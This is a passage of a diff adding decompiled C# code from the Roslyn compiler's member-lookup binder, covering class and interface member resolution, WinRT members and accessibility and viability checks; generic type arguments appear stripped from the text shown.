useSiteInfo)) + { + attributeTypeViabilityUseSiteInfo.MergeAndClear(ref useSiteInfo); + return true; + } + if (diagnose && useSiteInfo.HasErrors) + { + foreach (DiagnosticInfo diagnostic in useSiteInfo.Diagnostics) + { + if ((int)diagnostic.Severity == 3) + { + diagInfo = diagnostic; + return false; + } + } + } + } + diagInfo = (DiagnosticInfo)(object)(diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_NotAnAttributeClass, symbol) : null); + return false; + } + + internal virtual void GetCandidateExtensionMethods(ArrayBuilder methods, string name, int arity, LookupOptions options, Binder originalBinder) + { + } + + protected static void LookupMembersWithoutInheritance(LookupResult result, TypeSymbol type, string name, int arity, LookupOptions options, Binder originalBinder, TypeSymbol accessThroughType, bool diagnose, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved) + { + ImmutableArray.Enumerator enumerator = GetCandidateMembers(type, name, options, originalBinder).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SingleLookupResult result2 = originalBinder.CheckViability(current, arity, options, accessThroughType, diagnose, ref useSiteInfo, basesBeingResolved); + result.MergeEqual(result2); + } + } + + private void LookupMembersInClass(LookupResult result, TypeSymbol type, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + LookupMembersInClass(result, type, name, arity, basesBeingResolved, options, originalBinder, type, diagnose, ref useSiteInfo); + } + + private void LookupMembersInClass(LookupResult result, TypeSymbol type, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, TypeSymbol accessThroughType, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + TypeSymbol typeSymbol = type; + LookupResult instance = LookupResult.GetInstance(); + PooledHashSet visited = null; + while ((object)typeSymbol != null) + { + instance.Clear(); + LookupMembersWithoutInheritance(instance, typeSymbol, name, arity, options, originalBinder, accessThroughType, diagnose, ref useSiteInfo, basesBeingResolved); + MergeHidingLookupResults(result, instance, basesBeingResolved, ref useSiteInfo); + if (typeSymbol is NamedTypeSymbol { ShouldAddWinRTMembers: not false } namedTypeSymbol) + { + AddWinRTMembers(result, namedTypeSymbol, name, arity, options, originalBinder, diagnose, ref useSiteInfo); + } + bool flag = instance.IsMultiViable && !IsMethodOrIndexer(instance.Symbols[0]); + if (result.IsMultiViable && (flag || !IsMethodOrIndexer(result.Symbols[0]))) + { + break; + } + if (basesBeingResolved != null && ConsListExtensions.ContainsReference(basesBeingResolved, type.OriginalDefinition)) + { + Symbol nearestOtherSymbol = GetNearestOtherSymbol(basesBeingResolved, type); + CSDiagnosticInfo errorInfo = new CSDiagnosticInfo(ErrorCode.ERR_CircularBase, type, nearestOtherSymbol); + ExtendedErrorTypeSymbol symbol = new ExtendedErrorTypeSymbol(Compilation, name, arity, (DiagnosticInfo?)(object)errorInfo, unreported: true); + result.SetFrom(LookupResult.Good(symbol)); + } + if (originalBinder.InCrefButNotParameterOrReturnType) + { + break; + } + typeSymbol = typeSymbol.GetNextBaseTypeNoUseSiteDiagnostics(basesBeingResolved, Compilation, ref visited); + typeSymbol?.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + } + visited?.Free(); + instance.Free(); + } + + private void AddWinRTMembers(LookupResult result, NamedTypeSymbol type, string name, int arity, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Invalid comparison between Unknown and I4 + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Invalid comparison between Unknown and I4 + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_012d: Unknown result type (might be due to invalid IL or missing references) + //IL_0134: Invalid comparison between Unknown and I4 + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_013f: Invalid comparison between Unknown and I4 + MemberSignatureComparer cSharpOverrideComparer = MemberSignatureComparer.CSharpOverrideComparer; + HashSet hashSet = new HashSet(cSharpOverrideComparer); + HashSet hashSet2 = new HashSet(cSharpOverrideComparer); + if (result.IsMultiViable) + { + Enumerator enumerator = result.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 9 || (int)current.Kind == 15) + { + hashSet.Add(current); + } + } + } + LookupResult instance = LookupResult.GetInstance(); + GetWellKnownWinRTMemberInterfaces(out var idictSymbol, out var iroDictSymbol, out var iListSymbol, out var iCollectionSymbol, out var inccSymbol, out var inpcSymbol); + ImmutableArray.Enumerator enumerator2 = type.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current2 = enumerator2.Current; + if (!ShouldAddWinRTMembersForInterface(current2, idictSymbol, iroDictSymbol, iListSymbol, iCollectionSymbol, inccSymbol, inpcSymbol)) + { + continue; + } + LookupMembersWithoutInheritance(instance, current2, name, arity, options, originalBinder, current2, diagnose, ref useSiteInfo, null); + if (instance.IsMultiViable) + { + Enumerator enumerator = instance.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current3 = enumerator.Current; + if (!hashSet.Add(current3)) + { + hashSet2.Add(current3); + } + } + } + instance.Clear(); + } + instance.Free(); + if (result.IsMultiViable) + { + Enumerator enumerator = result.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current4 = enumerator.Current; + if ((int)current4.Kind == 9 || (int)current4.Kind == 15) + { + hashSet.Remove(current4); + hashSet2.Remove(current4); + } + } + } + foreach (Symbol item in hashSet) + { + if (!hashSet2.Contains(item)) + { + result.MergeEqual(new SingleLookupResult(LookupResultKind.Viable, item, null)); + } + } + } + + private void GetWellKnownWinRTMemberInterfaces(out NamedTypeSymbol idictSymbol, out NamedTypeSymbol iroDictSymbol, out NamedTypeSymbol iListSymbol, out NamedTypeSymbol iCollectionSymbol, out NamedTypeSymbol inccSymbol, out NamedTypeSymbol inpcSymbol) + { + idictSymbol = Compilation.GetWellKnownType((WellKnownType)207); + iroDictSymbol = Compilation.GetWellKnownType((WellKnownType)208); + iListSymbol = Compilation.GetWellKnownType((WellKnownType)202); + iCollectionSymbol = Compilation.GetWellKnownType((WellKnownType)203); + inccSymbol = Compilation.GetWellKnownType((WellKnownType)211); + inpcSymbol = Compilation.GetWellKnownType((WellKnownType)212); + } + + private static bool ShouldAddWinRTMembersForInterface(NamedTypeSymbol iface, NamedTypeSymbol idictSymbol, NamedTypeSymbol iroDictSymbol, NamedTypeSymbol iListSymbol, NamedTypeSymbol iCollectionSymbol, NamedTypeSymbol inccSymbol, NamedTypeSymbol inpcSymbol) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Invalid comparison between Unknown and I4 + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + NamedTypeSymbol originalDefinition = iface.OriginalDefinition; + SpecialType specialType = originalDefinition.SpecialType; + if ((int)specialType != 25 && (int)specialType != 26 && (int)specialType != 27 && !TypeSymbol.Equals(originalDefinition, idictSymbol, (TypeCompareKind)0) && (int)specialType != 30 && (int)specialType != 31 && !TypeSymbol.Equals(originalDefinition, iroDictSymbol, (TypeCompareKind)0) && (int)specialType != 24 && !TypeSymbol.Equals(originalDefinition, iListSymbol, (TypeCompareKind)0) && !TypeSymbol.Equals(originalDefinition, iCollectionSymbol, (TypeCompareKind)0) && !TypeSymbol.Equals(originalDefinition, inccSymbol, (TypeCompareKind)0)) + { + return TypeSymbol.Equals(originalDefinition, inpcSymbol, (TypeCompareKind)0); + } + return true; + } + + private static Symbol GetNearestOtherSymbol(ConsList list, TypeSymbol type) + { + TypeSymbol typeSymbol = type; + while (list != null && list != ConsList.Empty) + { + if (TypeSymbol.Equals(list.Head, type.OriginalDefinition, (TypeCompareKind)0)) + { + if (TypeSymbol.Equals(typeSymbol, type, (TypeCompareKind)0) && list.Tail != null && list.Tail != ConsList.Empty) + { + typeSymbol = list.Tail.Head; + } + break; + } + typeSymbol = list.Head; + list = list.Tail; + } + return typeSymbol; + } + + private void LookupMembersInInterfaceOnly(LookupResult current, NamedTypeSymbol type, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, TypeSymbol accessThroughType, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + LookupMembersWithoutInheritance(current, type, name, arity, options, originalBinder, accessThroughType, diagnose, ref useSiteInfo, basesBeingResolved); + if ((options & LookupOptions.NamespaceAliasesOnly) == 0 && !originalBinder.InCrefButNotParameterOrReturnType && ((options & LookupOptions.NamespacesOrTypesOnly) == 0 || !current.IsSingleViable || !TypeSymbol.Equals(current.SingleSymbolOrDefault.ContainingType, type, (TypeCompareKind)63))) + { + LookupMembersInInterfacesWithoutInheritance(current, GetBaseInterfaces(type, basesBeingResolved, ref useSiteInfo), name, arity, basesBeingResolved, options, originalBinder, accessThroughType, diagnose, ref useSiteInfo); + } + } + + private static ImmutableArray GetBaseInterfaces(NamedTypeSymbol type, ConsList basesBeingResolved, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + if (basesBeingResolved == null || !basesBeingResolved.Any()) + { + return type.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + if (ConsListExtensions.ContainsReference(basesBeingResolved, (TypeSymbol)type.OriginalDefinition)) + { + return ImmutableArray.Empty; + } + ImmutableArray declaredInterfaces = type.GetDeclaredInterfaces(basesBeingResolved); + if (declaredInterfaces.IsEmpty) + { + return ImmutableArray.Empty; + } + ConsList cycleGuard = ConsListExtensions.Prepend(ConsList.Empty, type.OriginalDefinition); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + HashSet visited = new HashSet(SymbolEqualityComparer.ConsiderEverything); + for (int num = declaredInterfaces.Length - 1; num >= 0; num--) + { + addAllInterfaces(declaredInterfaces[num], visited, instance, basesBeingResolved, cycleGuard); + } + instance.ReverseContents(); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + } + return instance.ToImmutableAndFree(); + static void addAllInterfaces(NamedTypeSymbol @interface, HashSet hashSet, ArrayBuilder result, ConsList val2, ConsList val) + { + NamedTypeSymbol originalDefinition; + if (@interface.IsInterface && !ConsListExtensions.ContainsReference(val, originalDefinition = @interface.OriginalDefinition) && hashSet.Add(@interface)) + { + if (!ConsListExtensions.ContainsReference(val2, (TypeSymbol)originalDefinition)) + { + ImmutableArray declaredInterfaces2 = @interface.GetDeclaredInterfaces(val2); + if (!declaredInterfaces2.IsEmpty) + { + val = ConsListExtensions.Prepend(val, originalDefinition); + for (int num2 = declaredInterfaces2.Length - 1; num2 >= 0; num2--) + { + addAllInterfaces(declaredInterfaces2[num2], hashSet, result, val2, val); + } + } + } + result.Add(@interface); + } + } + } + + private void LookupMembersInInterfacesWithoutInheritance(LookupResult current, ImmutableArray interfaces, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, TypeSymbol accessThroughType, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + if (interfaces.Length <= 0) + { + return; + } + LookupResult instance = LookupResult.GetInstance(); + HashSet hashSet = null; + if (interfaces.Length > 1) + { + hashSet = new HashSet(SymbolEqualityComparer.IgnoringNullable); + } + ImmutableArray.Enumerator enumerator = interfaces.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current2 = enumerator.Current; + if (hashSet == null || hashSet.Add(current2)) + { + LookupMembersWithoutInheritance(instance, current2, name, arity, options, originalBinder, accessThroughType, diagnose, ref useSiteInfo, basesBeingResolved); + MergeHidingLookupResults(current, instance, basesBeingResolved, ref useSiteInfo); + instance.Clear(); + } + } + instance.Free(); + } + + private void LookupMembersInInterface(LookupResult current, NamedTypeSymbol type, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + LookupMembersInInterfaceOnly(current, type, name, arity, basesBeingResolved, options, originalBinder, type, diagnose, ref useSiteInfo); + if (!originalBinder.InCrefButNotParameterOrReturnType) + { + LookupResult instance = LookupResult.GetInstance(); + LookupMembersInClass(instance, Compilation.GetSpecialType((SpecialType)1), name, arity, basesBeingResolved, options, originalBinder, type, diagnose, ref useSiteInfo); + MergeHidingLookupResults(current, instance, basesBeingResolved, ref useSiteInfo); + instance.Free(); + } + } + + private void LookupMembersInTypeParameter(LookupResult current, TypeParameterSymbol typeParameter, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + if ((options & (LookupOptions.NamespaceAliasesOnly | LookupOptions.NamespacesOrTypesOnly)) == 0) + { + LookupMembersInClass(current, typeParameter.EffectiveBaseClass(ref useSiteInfo), name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + LookupMembersInInterfacesWithoutInheritance(current, typeParameter.AllEffectiveInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo), name, arity, null, options, originalBinder, typeParameter, diagnose, ref useSiteInfo); + } + } + + private static bool IsDerivedType(NamedTypeSymbol baseType, NamedTypeSymbol derivedType, ConsList basesBeingResolved, CSharpCompilation compilation, ref CompoundUseSiteInfo useSiteInfo) + { + if (basesBeingResolved == null || !basesBeingResolved.Any()) + { + NamedTypeSymbol namedTypeSymbol = derivedType.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + while ((object)namedTypeSymbol != null) + { + if (TypeSymbol.Equals(namedTypeSymbol, baseType, (TypeCompareKind)0)) + { + return true; + } + namedTypeSymbol = namedTypeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + } + else + { + PooledHashSet visited = null; + NamedTypeSymbol namedTypeSymbol2 = (NamedTypeSymbol)derivedType.GetNextBaseTypeNoUseSiteDiagnostics(basesBeingResolved, compilation, ref visited); + while ((object)namedTypeSymbol2 != null) + { + namedTypeSymbol2.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + if (TypeSymbol.Equals(namedTypeSymbol2, baseType, (TypeCompareKind)0)) + { + visited?.Free(); + return true; + } + namedTypeSymbol2 = (NamedTypeSymbol)namedTypeSymbol2.GetNextBaseTypeNoUseSiteDiagnostics(basesBeingResolved, compilation, ref visited); + } + visited?.Free(); + } + if (baseType.IsInterface) + { + return GetBaseInterfaces(derivedType, basesBeingResolved, ref useSiteInfo).Contains(baseType); + } + return false; + } + + private void MergeHidingLookupResults(LookupResult resultHiding, LookupResult resultHidden, ConsList basesBeingResolved, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Invalid comparison between Unknown and I4 + if (resultHiding.IsMultiViable && resultHidden.IsMultiViable) + { + ArrayBuilder symbols = resultHiding.Symbols; + int count = symbols.Count; + ArrayBuilder symbols2 = resultHidden.Symbols; + int count2 = symbols2.Count; + for (int i = 0; i < count2; i++) + { + Symbol symbol = symbols2[i]; + NamedTypeSymbol containingType = symbol.ContainingType; + int num = 0; + while (true) + { + if (num < count) + { + Symbol symbol2 = symbols[num]; + if ((!symbol2.ContainingType.IsInterface || IsDerivedType(containingType, symbol2.ContainingType, basesBeingResolved, Compilation, ref useSiteInfo) || (int)containingType.SpecialType == 1) && (!IsMethodOrIndexer(symbol2) || !IsMethodOrIndexer(symbol))) + { + break; + } + num++; + continue; + } + symbols.Add(symbol); + break; + } + } + } + else + { + resultHiding.MergePrioritized(resultHidden); + } + } + + private static bool IsMethodOrIndexer(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind != 9) + { + return symbol.IsIndexer(); + } + return true; + } + + internal static ImmutableArray GetCandidateMembers(NamespaceOrTypeSymbol nsOrType, string name, LookupOptions options, Binder originalBinder) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + if ((options & LookupOptions.NamespacesOrTypesOnly) != LookupOptions.Default && nsOrType is TypeSymbol) + { + return ImmutableArrayExtensions.Cast(nsOrType.GetTypeMembers(name)); + } + if ((int)nsOrType.Kind == 11 && originalBinder.IsEarlyAttributeBinder) + { + return ((NamedTypeSymbol)nsOrType).GetEarlyAttributeDecodingMembers(name); + } + if ((options & LookupOptions.LabelsOnly) != LookupOptions.Default) + { + return ImmutableArray.Empty; + } + if (nsOrType is SourceMemberContainerTypeSymbol { HasPrimaryConstructor: not false } sourceMemberContainerTypeSymbol) + { + return sourceMemberContainerTypeSymbol.GetCandidateMembersForLookup(name); + } + return nsOrType.GetMembers(name); + } + + internal static ImmutableArray GetCandidateMembers(NamespaceOrTypeSymbol nsOrType, LookupOptions options, Binder originalBinder) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + if ((options & LookupOptions.NamespacesOrTypesOnly) != LookupOptions.Default && nsOrType is TypeSymbol) + { + return StaticCast.From(nsOrType.GetTypeMembersUnordered()); + } + if ((int)nsOrType.Kind == 11 && originalBinder.IsEarlyAttributeBinder) + { + return ((NamedTypeSymbol)nsOrType).GetEarlyAttributeDecodingMembers(); + } + if ((options & LookupOptions.LabelsOnly) != LookupOptions.Default) + { + return ImmutableArray.Empty; + } + return nsOrType.GetMembersUnordered(); + } + + private bool IsInScopeOfAssociatedSyntaxTree(Symbol symbol) + { + while (((object)symbol != null && !(symbol is NamedTypeSymbol { IsFileLocal: not false })) ? true : false) + { + symbol = symbol.ContainingType; + } + if ((object)symbol == null) + { + return true; + } + if (symbol.DeclaringCompilation != Compilation && (Flags & BinderFlags.InEEMethodBinder) == 0) + { + return false; + } + FileIdentifier associatedFileIdentifier = ((NamedTypeSymbol)symbol).AssociatedFileIdentifier; + if (associatedFileIdentifier == null || associatedFileIdentifier.FilePathChecksumOpt.IsDefault) + { + return false; + } + FileIdentifier fileIdentifier = getFileIdentifierForFileTypes(); + if (!fileIdentifier.FilePathChecksumOpt.IsDefault) + { + return fileIdentifier.FilePathChecksumOpt.SequenceEqual(associatedFileIdentifier.FilePathChecksumOpt); + } + return false; + FileIdentifier getFileIdentifierForFileTypes() + { + for (Binder binder = this; binder != null; binder = binder.Next) + { + if (binder is BuckStopsHereBinder buckStopsHereBinder) + { + return buckStopsHereBinder.AssociatedFileIdentifier ?? throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Binder_Lookup.cs", 1374); + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/Binder_Lookup.cs", 1378); + } + } + + internal SingleLookupResult CheckViability(Symbol symbol, int arity, LookupOptions options, TypeSymbol accessThroughType, bool diagnose, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved = null) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0381: Unknown result type (might be due to invalid IL or missing references) + //IL_0388: Invalid comparison between Unknown and I4 + //IL_03d7: Unknown result type (might be due to invalid IL or missing references) + //IL_03dd: Invalid comparison between Unknown and I4 + Symbol unwrappedSymbol = (((int)symbol.Kind == 0) ? ((AliasSymbol)symbol).GetAliasTarget(basesBeingResolved) : symbol); + if ((options & LookupOptions.MustNotBeParameter) != LookupOptions.Default && unwrappedSymbol is ParameterSymbol) + { + return LookupResult.Empty(); + } + if (!IsInScopeOfAssociatedSyntaxTree(unwrappedSymbol)) + { + return LookupResult.Empty(); + } + if (!Compilation.SourceModule.Equals(unwrappedSymbol.ContainingModule) && unwrappedSymbol.IsHiddenByCodeAnalysisEmbeddedAttribute()) + { + return LookupResult.Empty(); + } + if ((options & (LookupOptions.MustNotBeInstance | LookupOptions.MustBeAbstractOrVirtual)) == (LookupOptions.MustNotBeInstance | LookupOptions.MustBeAbstractOrVirtual) && ((!(unwrappedSymbol is TypeSymbol) && IsInstance(unwrappedSymbol)) || (!unwrappedSymbol.IsAbstract && !unwrappedSymbol.IsVirtual))) + { + return LookupResult.Empty(); + } + if (WrongArity(symbol, arity, diagnose, options, out var diagInfo)) + { + return LookupResult.WrongArity(symbol, diagInfo); + } + if (!InCref && !unwrappedSymbol.CanBeReferencedByNameIgnoringIllegalCharacters) + { + diagInfo = (DiagnosticInfo)(object)(diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_CantCallSpecialMethod, unwrappedSymbol) : null); + return LookupResult.NotReferencable(symbol, diagInfo); + } + if ((options & LookupOptions.NamespacesOrTypesOnly) != LookupOptions.Default && !(unwrappedSymbol is NamespaceOrTypeSymbol)) + { + return LookupResult.NotTypeOrNamespace(unwrappedSymbol, symbol, diagnose); + } + if ((options & LookupOptions.MustBeInvocableIfMember) != LookupOptions.Default && IsNonInvocableMember(unwrappedSymbol)) + { + return LookupResult.NotInvocable(unwrappedSymbol, symbol, diagnose); + } + if (InCref && !IsCrefAccessible(unwrappedSymbol)) + { + ImmutableArray symbols = ImmutableArray.Create(unwrappedSymbol); + object obj; + if (!diagnose) + { + obj = null; + } + else + { + object[] args = new Symbol[1] { unwrappedSymbol }; + obj = new CSDiagnosticInfo(ErrorCode.ERR_BadAccess, args, symbols, ImmutableArray.Empty); + } + diagInfo = (DiagnosticInfo)obj; + return LookupResult.Inaccessible(symbol, diagInfo); + } + if (!InCref && !IsAccessible(unwrappedSymbol, RefineAccessThroughType(options, accessThroughType), out var failedThroughTypeCheck, ref useSiteInfo, basesBeingResolved)) + { + if (!diagnose) + { + diagInfo = null; + } + else if (failedThroughTypeCheck) + { + diagInfo = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BadProtectedAccess, unwrappedSymbol, accessThroughType, ContainingType); + } + else if (IsBadIvtSpecification()) + { + diagInfo = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_FriendRefNotEqualToThis, ((object)unwrappedSymbol.ContainingAssembly.Identity).ToString(), AssemblyIdentity.PublicKeyToString(Compilation.Assembly.PublicKey)); + } + else + { + object[] args = new Symbol[1] { unwrappedSymbol }; + diagInfo = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BadAccess, args, ImmutableArray.Create(unwrappedSymbol), ImmutableArray.Empty); + } + return LookupResult.Inaccessible(symbol, diagInfo); + } + if (!InCref && unwrappedSymbol.MustCallMethodsDirectly()) + { + diagInfo = (DiagnosticInfo)(object)(diagnose ? MakeCallMethodsDirectlyDiagnostic(unwrappedSymbol) : null); + return LookupResult.NotReferencable(symbol, diagInfo); + } + if ((options & LookupOptions.MustBeInstance) != LookupOptions.Default && !IsInstance(unwrappedSymbol)) + { + diagInfo = (DiagnosticInfo)(object)(diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_ObjectRequired, unwrappedSymbol) : null); + return LookupResult.StaticInstanceMismatch(symbol, diagInfo); + } + if ((options & LookupOptions.MustNotBeInstance) != LookupOptions.Default && IsInstance(unwrappedSymbol)) + { + diagInfo = (DiagnosticInfo)(object)(diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_ObjectProhibited, unwrappedSymbol) : null); + return LookupResult.StaticInstanceMismatch(symbol, diagInfo); + } + if ((options & LookupOptions.MustNotBeNamespace) != LookupOptions.Default && (int)unwrappedSymbol.Kind == 12) + { + diagInfo = (DiagnosticInfo)(object)(diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_BadSKunknown, unwrappedSymbol, unwrappedSymbol.GetKindText()) : null); + return LookupResult.NotTypeOrNamespace(symbol, diagInfo); + } + if ((options & LookupOptions.LabelsOnly) != LookupOptions.Default && (int)unwrappedSymbol.Kind != 7) + { + diagInfo = (DiagnosticInfo)(object)(diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_LabelNotFound, unwrappedSymbol.Name) : null); + return LookupResult.NotLabel(symbol, diagInfo); + } + return LookupResult.Good(symbol); + bool IsBadIvtSpecification() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + if (((int)unwrappedSymbol.DeclaredAccessibility == 4 || (int)unwrappedSymbol.DeclaredAccessibility == 2 || (int)unwrappedSymbol.DeclaredAccessibility == 5) && !options.IsAttributeTypeLookup()) + { + string assemblyName = ((Compilation)Compilation).AssemblyName; + if (assemblyName == null) + { + return false; + } + IEnumerable> internalsVisibleToPublicKeys = unwrappedSymbol.ContainingAssembly.GetInternalsVisibleToPublicKeys(assemblyName); + if (!internalsVisibleToPublicKeys.Any()) + { + return false; + } + ImmutableArray publicKey = Compilation.Assembly.PublicKey; + if (!publicKey.IsDefault) + { + foreach (ImmutableArray item in internalsVisibleToPublicKeys) + { + if (item.SequenceEqual(publicKey)) + { + return false; + } + } + } + return true; + } + return false; + } + } + + private CSDiagnosticInfo MakeCallMethodsDirectlyDiagnostic(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = symbol.Kind; + MethodSymbol methodSymbol; + MethodSymbol methodSymbol2; + if ((int)kind != 5) + { + if ((int)kind != 15) + { + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + PropertySymbol leastOverriddenProperty = ((PropertySymbol)symbol).GetLeastOverriddenProperty(ContainingType); + methodSymbol = leastOverriddenProperty.GetMethod; + methodSymbol2 = leastOverriddenProperty.SetMethod; + } + else + { + EventSymbol leastOverriddenEvent = ((EventSymbol)symbol).GetLeastOverriddenEvent(ContainingType); + methodSymbol = leastOverriddenEvent.AddMethod; + methodSymbol2 = leastOverriddenEvent.RemoveMethod; + } + if ((object)methodSymbol == null || (object)methodSymbol2 == null) + { + return new CSDiagnosticInfo(ErrorCode.ERR_BindToBogusProp1, symbol, methodSymbol ?? methodSymbol2); + } + return new CSDiagnosticInfo(ErrorCode.ERR_BindToBogusProp2, symbol, methodSymbol, methodSymbol2); + } + + internal bool CanAddLookupSymbolInfo(Symbol symbol, LookupOptions options, LookupSymbolsInfo info, TypeSymbol accessThroughType, AliasSymbol aliasSymbol = null) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Invalid comparison between Unknown and I4 + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + string text = ((aliasSymbol != null) ? aliasSymbol.Name : symbol.Name); + if (!((AbstractLookupSymbolsInfo)info).CanBeAdded(text)) + { + return false; + } + if ((options & LookupOptions.NamespacesOrTypesOnly) != LookupOptions.Default && !(symbol is NamespaceOrTypeSymbol)) + { + return false; + } + if ((options & LookupOptions.MustBeInvocableIfMember) != LookupOptions.Default && IsNonInvocableMember(symbol)) + { + return false; + } + if (InCref ? (!IsCrefAccessible(symbol)) : (!IsAccessible(symbol, ref useSiteInfo, RefineAccessThroughType(options, accessThroughType)))) + { + return false; + } + if (!IsInScopeOfAssociatedSyntaxTree(symbol)) + { + return false; + } + if ((options & LookupOptions.MustBeInstance) != LookupOptions.Default && !IsInstance(symbol)) + { + return false; + } + if ((options & LookupOptions.MustNotBeInstance) != LookupOptions.Default && IsInstance(symbol)) + { + return false; + } + if ((options & LookupOptions.MustNotBeNamespace) != LookupOptions.Default && (int)symbol.Kind == 12) + { + return false; + } + return true; + } + + private static TypeSymbol RefineAccessThroughType(LookupOptions options, TypeSymbol accessThroughType) + { + if ((options & LookupOptions.UseBaseReferenceAccessibility) == 0) + { + return accessThroughType; + } + return null; + } + + private bool IsCrefAccessible(Symbol symbol) + { + if (IsEffectivelyPrivate(symbol)) + { + return symbol.ContainingAssembly == Compilation.Assembly; + } + return true; + } + + private static bool IsEffectivelyPrivate(Symbol symbol) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + Symbol symbol2 = symbol; + while ((object)symbol2 != null) + { + if ((int)symbol2.DeclaredAccessibility == 1) + { + return true; + } + symbol2 = symbol2.ContainingSymbol; + } + return false; + } + + internal bool IsAccessible(Symbol symbol, ref CompoundUseSiteInfo useSiteInfo, TypeSymbol accessThroughType = null, ConsList basesBeingResolved = null) + { + bool failedThroughTypeCheck; + return IsAccessible(symbol, accessThroughType, out failedThroughTypeCheck, ref useSiteInfo, 